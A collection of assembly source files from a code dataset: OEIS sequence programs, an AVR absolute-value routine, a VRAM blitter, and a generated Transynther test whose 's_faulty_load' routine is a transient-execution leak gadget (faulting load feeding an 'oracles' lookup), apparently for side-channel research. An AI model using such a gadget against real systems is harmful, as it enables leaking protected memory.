; A219810: Number of n X 2 arrays of the minimum value of corresponding elements and their horizontal, vertical or diagonal neighbors in a random, but sorted with lexicographically nondecreasing rows and nonincreasing columns, 0..2 n X 2 array. ; 3,6,16,33,61,106,176,281,433,646,936,1321,1821,2458,3256,4241,5441,6886,8608,10641,13021,15786,18976,22633,26801,31526,36856,42841,49533,56986,65256,74401,84481,95558,107696,120961,135421,151146,168208,186681,206641,228166,251336,276233,302941,331546,362136,394801,429633,466726,506176,548081,592541,639658,689536,742281,798001,856806,918808,984121,1052861,1125146,1201096,1280833,1364481,1452166,1544016,1640161,1740733,1845866,1955696,2070361,2190001,2314758,2444776,2580201,2721181,2867866 mov $1,5 mov $2,$0 bin $2,2 sub $2,2 pow $2,2 div $2,3 mov $5,$0 lpb $0 mov $0,0 mov $1,0 mov $4,$2 add $4,2 add $1,$4 lpe sub $1,2 mov $3,$5 mul $3,2 add $1,$3 mov $6,$5 mul $6,$5 mov $3,$6 mul $3,3 add $1,$3 mov $0,$1
34.678571
494
0.751802
dd0c08c06d5d69db489c5f382a602e2ef5c5825a
347
asm
Assembly
AVR/absolute_value.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/absolute_value.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/absolute_value.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
.device ATmega328 .org 0x00 ; Program starts at 0x00 rjmp INICIO ; Valor absoluto INICIO: nop ldi R16,0xAE ; ls nibble 1 sbrc R16,7 rjmp COMPL FIM: jmp FIM COMPL: com R16 ; or substitute both inc R16 ; for neg R16 rjmp FIM
16.52381
52
0.481268
2e881d2f32552bd902fb1406df14784086852be3
459
asm
Assembly
oeis/323/A323812.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/323/A323812.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/323/A323812.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A323812: a(n) = n*Fibonacci(n-2) + ((-1)^n + 1)/2. ; Submitted by Jon Maiga ; 1,3,5,10,19,35,65,117,211,374,661,1157,2017,3495,6033,10370,17767,30343,51681,87801,148831,251758,425065,716425,1205569,2025675,3399005,5696122,9534331,15941099,26625281,44426877,74062507,123360230,205303933,341416205,567353377,942154863,1563526761 mov $1,2 mov $2,2 lpb $0 sub $0,2 add $1,$2 add $2,$0 add $2,$1 lpe lpb $0 div $0,4 add $2,$1 lpe mov $0,$2 sub $0,1
24.157895
250
0.69281
072a18952435f3869372abc49c16220ff4f3a5bd
169
asm
Assembly
src/i686-elf/idt_asm.asm
Leo2807/yasOS
9b17b93dbac865a87b1fc064550ebb4a5ef55b39
[ "MIT" ]
null
null
null
src/i686-elf/idt_asm.asm
Leo2807/yasOS
9b17b93dbac865a87b1fc064550ebb4a5ef55b39
[ "MIT" ]
null
null
null
src/i686-elf/idt_asm.asm
Leo2807/yasOS
9b17b93dbac865a87b1fc064550ebb4a5ef55b39
[ "MIT" ]
null
null
null
; Loads the IDT defined in 'idtp' into the processor. ; This is declared in C as 'extern void idt_load();' global idt_load extern idtp idt_load: lidt [idtp] ret
21.125
53
0.710059
aec926e14e7b116ec88b94f5c75038988191e08d
8,996
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_619.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_619.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_619.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r9 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x15e88, %r12 nop nop nop dec %rbp mov (%r12), %r9d nop nop nop nop add $20020, %rsi lea addresses_WT_ht+0xd7c0, %rcx clflush (%rcx) nop nop sub $38047, %rdx movl $0x61626364, (%rcx) nop nop add %r12, %r12 lea addresses_WC_ht+0x1c4db, %rbp xor %rsi, %rsi movb (%rbp), %cl nop nop nop nop sub $35548, %rbp lea addresses_UC_ht+0xe8b8, %rsi nop nop cmp $35003, %rcx movups (%rsi), %xmm1 vpextrq $1, %xmm1, %r9 nop add $18485, %rbp lea addresses_UC_ht+0x1fc8, %rsi lea addresses_A_ht+0x1062, %rdi nop nop nop nop add %r12, %r12 mov $3, %rcx rep movsl nop nop nop inc %rbx lea addresses_WC_ht+0x1992, %rsi lea addresses_A_ht+0x16720, %rdi nop nop nop inc %rbp mov $16, %rcx rep movsl nop sub $61830, %rdi lea addresses_WT_ht+0x1de60, %rdi nop nop nop nop add %rsi, %rsi movups (%rdi), %xmm3 vpextrq $1, %xmm3, %r12 nop nop nop nop nop xor %r12, %r12 lea addresses_normal_ht+0x13a60, %r12 nop nop nop nop add $41561, %rbx mov $0x6162636465666768, %r9 movq %r9, (%r12) nop nop nop nop nop add $48383, %r9 lea addresses_A_ht+0x3fe0, %rsi lea addresses_normal_ht+0xc120, %rdi clflush (%rdi) nop nop nop nop lfence mov $65, %rcx rep movsq nop sub $15115, %r12 lea addresses_normal_ht+0xb520, %rsi nop nop nop nop nop sub %rdx, %rdx mov $0x6162636465666768, %r9 movq %r9, (%rsi) nop and %rdi, %rdi lea addresses_WT_ht+0xdb20, %r9 clflush (%r9) xor %rcx, %rcx movb $0x61, (%r9) nop nop nop and %r12, %r12 lea addresses_WC_ht+0xd900, %rdi nop sub $14806, %r9 mov (%rdi), %rcx nop nop nop xor $60237, %rsi lea addresses_UC_ht+0x3d20, %r9 nop nop xor %rbx, %rbx movb (%r9), %dl xor $60668, %rbx lea addresses_WC_ht+0x6990, %rsi lea addresses_D_ht+0x16f30, %rdi nop cmp %r9, %r9 mov $21, %rcx rep movsb dec %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %rcx push %rdi push %rdx // Store lea addresses_RW+0x1459e, %rdi nop nop nop add $15905, %r15 movw $0x5152, (%rdi) nop nop nop and %rcx, %rcx // Store lea addresses_PSE+0xb220, %r11 clflush (%r11) add $49252, %rdx mov $0x5152535455565758, %r8 movq %r8, %xmm5 vmovups %ymm5, (%r11) nop nop and %r11, %r11 // Store mov $0xbe0, %r15 nop nop dec %rcx movl $0x51525354, (%r15) nop nop nop nop nop sub $32511, %r13 // Store lea addresses_WC+0x1dd20, %r15 nop nop nop cmp $43007, %rdi movl $0x51525354, (%r15) nop nop and $6337, %rdx // Store lea addresses_PSE+0x14cfc, %rdi nop nop nop nop nop xor $30801, %r8 movl $0x51525354, (%rdi) nop nop nop nop nop xor $634, %rcx // Store mov $0x2d293f0000000bc0, %r13 clflush (%r13) nop nop add %rcx, %rcx mov $0x5152535455565758, %rdx movq %rdx, (%r13) nop nop nop nop nop xor $62058, %r15 // Faulty Load lea addresses_D+0x1cd20, %rcx nop add $33119, %r13 movups (%rcx), %xmm4 vpextrq $1, %xmm4, %rdi lea oracles, %rdx and $0xff, %rdi shlq $12, %rdi mov (%rdx,%rdi,1), %rdi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_P', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_NC', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True}} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
30.289562
2,999
0.65229
0d87cb4ef094047abadb7a3594fe5efaf934f78b
2,054
asm
Assembly
src/PJ/drivekit/vram/vramputh.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
119
2015-01-10T15:13:50.000Z
2022-01-24T04:54:34.000Z
src/PJ/drivekit/vram/vramputh.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
6
2015-10-22T20:14:59.000Z
2021-07-10T03:25:21.000Z
src/PJ/drivekit/vram/vramputh.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
27
2015-04-24T22:55:30.000Z
2022-01-21T13:54:00.000Z
include vram.i _text segment para public use32 'code' assume cs:CGROUP,ds:DGROUP public _vram_put_hseg _vram_put_hseg proc near vphp struc vph_ebp dd ? vph_ret dd ? vph_v dd ? vph_pixbuf dd ? vph_x dd ? vph_y dd ? vph_width dd ? vphp ends push ebp mov ebp,esp push esi push edi push es mov ax,PHAR_REAL_SEG mov es,ax ;get ytable pointer for this line mov esi,[ebp].vph_v mov esi,[esi].vs_ytable mov eax,[ebp].vph_y shl eax,3 add esi,eax mov ax,[esi].yta_split ;get split... test ax,ax jnz vph_split vph_left: ;non-split or hseg to left of split case mov edi,[esi].yta_address add edi,[ebp].vph_x mov cx,[esi].yta_bank ;get bank setbank mov ecx,[ebp].vph_width mov edx,ecx mov esi,[ebp].vph_pixbuf shr ecx,1 rep movsw test edx,1 jz vph_done movsb vph_done: ;restore regs and return pop es pop edi pop esi pop ebp ret vph_right: ;hseg to the right of split case mov edi,[esi].yta_address add edi,[ebp].vph_x sub edi,010000h ;wrap back to A0000 screen mov cx,[esi].yta_bank inc cx ;we've gone to next bank setbank mov ecx,[ebp].vph_width mov esi,[ebp].vph_pixbuf rep movsb jmp vph_done vph_split: ;here the line is split, but maybe this part of it isn't movzx edx,ax ;sign extend split_at mov eax,[ebp].vph_x cmp eax,edx ;if (x >= split_at) goto vph_right jae vph_right add eax,[ebp].vph_width cmp eax,edx ;if (x+width < split_at) goto vph_left jb vph_left ;if made it here the segment is split. ;do 1st half of segment push esi mov cx,[esi].yta_bank setbank mov edi,[esi].yta_address mov edx,[ebp].vph_x add edi,edx movzx ecx,[esi].yta_split sub ecx,edx mov esi,[ebp].vph_pixbuf rep movsb ;do 2nd half of segment pop edi mov cx,[edi].yta_bank inc cx ;we've gone to next bank setbank movzx edx,[edi].yta_split mov edi,0a0000h mov ecx,[ebp].vph_width add ecx,[ebp].vph_x sub ecx,edx rep movsb jmp vph_done _vram_put_hseg endp _text ends end
19.196262
68
0.680623
ea5dd369a028b36ced070da0af8bb3b5d1a54f38
2,762
asm
Assembly
main/ipx_esr.asm
osgcc/descent-pc
819ed672e9fde6eddea634154306c5154230b84d
[ "Unlicense" ]
3
2016-03-22T12:32:01.000Z
2017-11-07T12:14:28.000Z
main/ipx_esr.asm
osgcc/descent-pc
819ed672e9fde6eddea634154306c5154230b84d
[ "Unlicense" ]
null
null
null
main/ipx_esr.asm
osgcc/descent-pc
819ed672e9fde6eddea634154306c5154230b84d
[ "Unlicense" ]
1
2021-03-30T07:34:36.000Z
2021-03-30T07:34:36.000Z
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX ;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO ;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A ;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS ;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS ;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE ;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE ;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS ;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE. ;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED. ; ; $Source: f:/miner/source/main/rcs/ipx_esr.asm $ ; $Revision: 2.0 $ ; $Author: john $ ; $Date: 1995/02/27 11:32:31 $ ; ; Ipx esr ; ; $Log: ipx_esr.asm $ ; Revision 2.0 1995/02/27 11:32:31 john ; New version 2.0, which has no anonymous unions, builds with ; Watcom 10.0, and doesn't require parsing BITMAPS.TBL. ; ; Revision 1.2 1994/08/04 19:17:25 john ; Inbetween version of network stuff. ; ; Revision 1.1 1994/08/02 11:41:09 john ; Initial revision ; ; .386 option oldstructs .nolist include types.inc include psmacros.inc .list assume cs:_TEXT, ds:_DATA _DATA segment dword public USE32 'DATA' rcsid db "$Id: ipx_esr.asm 2.0 1995/02/27 11:32:31 john Exp $" align 4 REALREGS STRUCT RealEDI dd ? RealESI dd ? RealEBP dd ? Reserved dd ? RealEBX dd ? RealEDX dd ? RealECX dd ? RealEAX dd ? RealFlags dw ? RealES dw ? RealDS dw ? RealFS dw ? RealGS dw ? RealIP dw ? RealCS dw ? RealSP dw ? RealSS dw ? REALREGS ENDS _DATA ends DGROUP GROUP _DATA _TEXT segment dword public USE32 'CODE' public ipx_esr_ ipx_esr_: ; pusha ; push ds ; push es ; push fs ; push gs push eax push esi ; ds:esi = real mode ss:sp ; es:edi = real mode call structure ; ss:esp = locked protected mode API stack ; mov eax, es:[edi].RealEAX ; cmp al, 0h ; je good ; cmp al, 0ffh ; je good push ds push ebx mov bx, DGROUP mov ds, bx mov ebx, 0b0000h mov eax, es:[edi].RealEAX mov byte ptr ds:[ebx], al pop ebx pop ds good: and esi, 0ffffh mov ax, ds:[esi] add esi, 2 mov es:[edi].RealIP, ax mov ax, ds:[esi] add esi, 2 mov es:[edi].RealCS, ax mov es:[edi].RealSP, si pop esi pop eax ; pop gs ; pop fs ; pop es ; pop ds ; popa iretd _TEXT ends end 
20.160584
77
0.620565
d8e330af48d22f34d6f93a3801f86eb9986d33e9
3,078
asm
Assembly
src/screen00.asm
BlockoS/up-18
e46af2ff4d96025def8d39b3a1e4b39756f2c195
[ "BSD-2-Clause" ]
3
2020-11-27T20:10:54.000Z
2020-11-29T21:49:32.000Z
src/screen00.asm
BlockoS/up-18
e46af2ff4d96025def8d39b3a1e4b39756f2c195
[ "BSD-2-Clause" ]
null
null
null
src/screen00.asm
BlockoS/up-18
e46af2ff4d96025def8d39b3a1e4b39756f2c195
[ "BSD-2-Clause" ]
null
null
null
SCR00_VDC_CONFIG = (VDC_CR_BG_ENABLE | VDC_CR_SPR_ENABLE | VDC_CR_VBLANK_ENABLE) SATB_VRAM_ADDR = $7000 SPRITE_VRAM_ADDR = $2000 MAIN_LINE_VRAM_ADDR = SPRITE_VRAM_ADDR + 32*16*2 MAIN_LINE_WIDTH = 10 MAIN_LINE_HEIGHT = 4 MAIN_LINE_X0=$0fec MAIN_LINE_X1=$00d5 MAIN_LINE_Y0=$0108 MAIN_LINE_Y1=$001f .zp _dt .ds 1 _v .ds 1 _ptr .ds 2 _start .ds 2 _txt_x_start .ds 2 _txt_y_start .ds 2 _txt_x .ds 2 _txt_y .ds 2 .code screen00_init: sei ; [todo] clear satb jsr vdc_xres_256 lda #VDC_BG_64x64 jsr vdc_set_bat_size vdc_reg #VDC_MAWR vdc_data #$2100 vdc_reg #VDC_DATA st1 #$00 ldy #8 .l0: st2 #$00 st2 #$00 st2 #$00 st2 #$00 dey bne .l0 jsr clear_bat stw #MAIN_LINE_X0, <_scroll_x stw #MAIN_LINE_Y0, <_scroll_y ; load tiles stw #MAIN_LINE_VRAM_ADDR, <_di stb #bank(main_line), <_bl stw #main_line, <_si stw #(main_line_size/2), <_cx jsr vdc_load_data ; load palettes stb #bank(main_line_pal), <_bl stw #main_line_pal, <_si jsr map_data lda #0 ldy #1 jsr vce_load_palette ; load sprites stw #SPRITE_VRAM_ADDR, <_di stb #bank(sprite_chr), <_bl stw #sprite_chr, <_si stw #(sprite_chr_size/2), <_cx jsr vdc_load_data ; load sprite palette stb #bank(sprite_pal), <_bl stw #sprite_pal, <_si jsr map_data lda #16 ldy #1 jsr vce_load_palette jsr dma_wait stw #(MAIN_LINE_VRAM_ADDR>>4), <_si stw #(64-MAIN_LINE_WIDTH), <_di ; setup BAT stb #8, <_al .loop: stw #(MAIN_LINE_VRAM_ADDR>>4), <_si ldy #MAIN_LINE_HEIGHT .loop_y: vdc_reg #VDC_MAWR vdc_data <_di vdc_reg #VDC_DATA clx .loop_x: stw <_si, video_data incw <_si inx cpx #MAIN_LINE_WIDTH bne .loop_x addw #63, <_di dey bne .loop_y dec <_al bne .loop stw #(MAIN_LINE_VRAM_ADDR>>4), <_si vdc_reg #VDC_MAWR vdc_data <_di vdc_reg #VDC_DATA clx .loop_x2: stw <_si, video_data incw <_si inx cpx #MAIN_LINE_WIDTH bne .loop_x2 vdc_reg #VDC_CR vdc_data #SCR00_VDC_CONFIG irq_on #INT_IRQ1 irq_enable_vec #VSYNC irq_set_vec #VSYNC, #vsync_callback irq_enable_vec #HSYNC irq_set_vec #HSYNC, #hsync_callback cli ; Enable VRAM SATB DMA vdc_reg #VDC_DMA_CR vdc_data #VDC_DMA_SATB_AUTO ; Set SATB address vdc_reg #VDC_SATB_SRC vdc_data #SATB_VRAM_ADDR rts screen00_update: ; scroll st0 #VDC_BXR stw <_scroll_x, video_data st0 #VDC_BYR stw <_scroll_y, video_data addw #4, <_scroll_x subw #4, <_scroll_y lda <_scroll_y+1 cmp #$ff bne .no_reset stw #MAIN_LINE_Y1, <_scroll_y stw #MAIN_LINE_X1, <_scroll_x .no_reset: rts
17.689655
80
0.587719
662e4cd42753e1280410434e83ef500cf4451c1d
436
asm
Assembly
programs/oeis/017/A017293.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017293.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017293.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017293: a(n) = 10n+2. ; 2,12,22,32,42,52,62,72,82,92,102,112,122,132,142,152,162,172,182,192,202,212,222,232,242,252,262,272,282,292,302,312,322,332,342,352,362,372,382,392,402,412,422,432,442,452,462,472,482,492,502,512,522,532,542,552,562,572,582,592,602,612,622,632,642,652,662,672,682,692,702,712,722,732,742,752,762,772,782,792,802,812,822,832,842,852,862,872,882,892,902,912,922,932,942,952,962,972,982,992 mul $0,10 add $0,2
72.666667
390
0.71789
8377e205b8abe59627aa7b52bdf215794fc35f55
765
asm
Assembly
programs/oeis/246/A246140.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/246/A246140.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/246/A246140.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A246140: Limiting block extension of A006337 (difference sequence of the Beatty sequence for sqrt(2)) with first term as initial block. ; 1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1 add $0,7 cal $0,276862 ; First differences of the Beatty sequence A003151 for 1 + sqrt(2). mul $0,140 mov $1,$0 div $1,150
85
501
0.581699
2793690648340f18eb6178ce0861f56f5264c13e
522
asm
Assembly
oeis/196/A196361.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/196/A196361.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/196/A196361.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
